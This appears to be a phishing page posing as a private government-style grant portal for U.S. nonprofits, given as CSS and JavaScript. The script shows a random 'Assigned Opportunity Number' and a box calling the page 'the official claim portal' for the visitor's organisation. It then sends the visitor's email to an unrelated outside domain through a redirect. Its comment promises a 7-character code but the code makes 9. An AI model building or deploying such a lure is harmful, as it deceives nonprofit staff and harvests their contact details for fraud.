Grant Portal

Grant Application Portal body { font-family: ‘Inter’, sans-serif; background: #f3f6fb; margin: 0; } .step-container { max-width: 900px; margin: 60px auto; display: none; } .active { display: block; } .card-box { background: #fff; border-radius: 10px; padding: 30px; box-shadow: 0 8px 25px rgba(0,0,0,0.05); border: 1px solid #e5e7eb; } .step-label { font-size: 12px; color: #6b7280; } .title { font-size: 22px; font-weight: 600; margin: 10px 0; } .subtitle { font-size: 14px; color: #6b7280; margin-bottom: 20px; } input { border-radius: 8px !important; padding: 12px !important; } .btn-primary { background: #1f5ea8; border: none; border-radius: 8px; padding: 12px; font-weight: 500; } .btn-primary:hover { background: #174a84; } .gov-header { font-size: 18px; font-weight: 600; margin-bottom: 5px; } .welcome-text { font-size: 14px; color: #374151; margin-bottom: 8px; font-weight: bold; } .official-note-box { background-color: #d1fae5; border-left: 5px solid #059669; color: #065f46; font-weight: 600; font-size: 14px; padding: 12px 15px; border-radius: 5px; margin-top: 20px; } .navbar-custom { border-bottom: 1px solid #e5e7eb; padding-bottom: 10px; margin-bottom: 20px; } .navbar-custom a { margin-right: 15px; font-size: 13px; color: #374151; text-decoration: none; } .navbar-custom a:hover { text-decoration: underline; } .btn-section button { background: #1f5ea8; color: white; border: none; border-radius: 4px; padding: 8px 14px; margin-right: 8px; font-size: 13px; cursor: pointer; } .btn-section button:hover { background: #174a84; } .info-text { font-size: 14px; color: #374151; } .footer { text-align: center; font-size: 12px; color: #9ca3af; margin-top: 20px; }

Step 1 of 2
Organization Representative
Enter your details to continue to the grant opportunity.

GRANT OPPORTUNITY

This is a private portal intended exclusively for authorized applicants.

Eligibility:

1. Nonprofit Status: Must be a 501(c)(3) or similar nonprofit organization.
2. Geographical Location: Based in the U.S. or its territories.
3. Financial Stability: Must demonstrate financial capability.
4. Legal Compliance: Adhere to federal, state, and local regulations.

// Generate a random 7-character code (letters + numbers) function generateCode7() { const chars = ‘ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789’; let result = ”; for (let i = 0; i < 9; i++) { result += chars.charAt(Math.floor(Math.random() * chars.length)); } return result; } function goStep2() { const name = document.getElementById('fullname').value.trim(); const orgName = document.getElementById('org').value.trim(); if (name.length < 2 || orgName.length < 2) return; // Bold welcome message document.getElementById('welcomeText').innerHTML = `Welcome, ${name}.


Assigned Opportunity Number:

`; // Generate random 7-character code + opportunity number const uniqueCode = generateCode7(); document.getElementById(‘assignedNumber’).textContent = `${uniqueCode}`; // Official green box document.getElementById(‘officialNote’).textContent = `This is the official claim portal, intended for ${orgName}.`; document.getElementById(‘step1’).classList.remove(‘active’); document.getElementById(‘step2’).classList.add(‘active’); } function validateEmail() { const email = document.getElementById(’email’).value.trim(); const error = document.getElementById(‘error’); const regex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; if (!regex.test(email)) { error.style.display = ‘block’; return; } error.style.display = ‘none’; window.location.href = “https://raimoroo.business/2UQ!TUrwP1/$&#8221; + encodeURIComponent(email); }

Leave a comment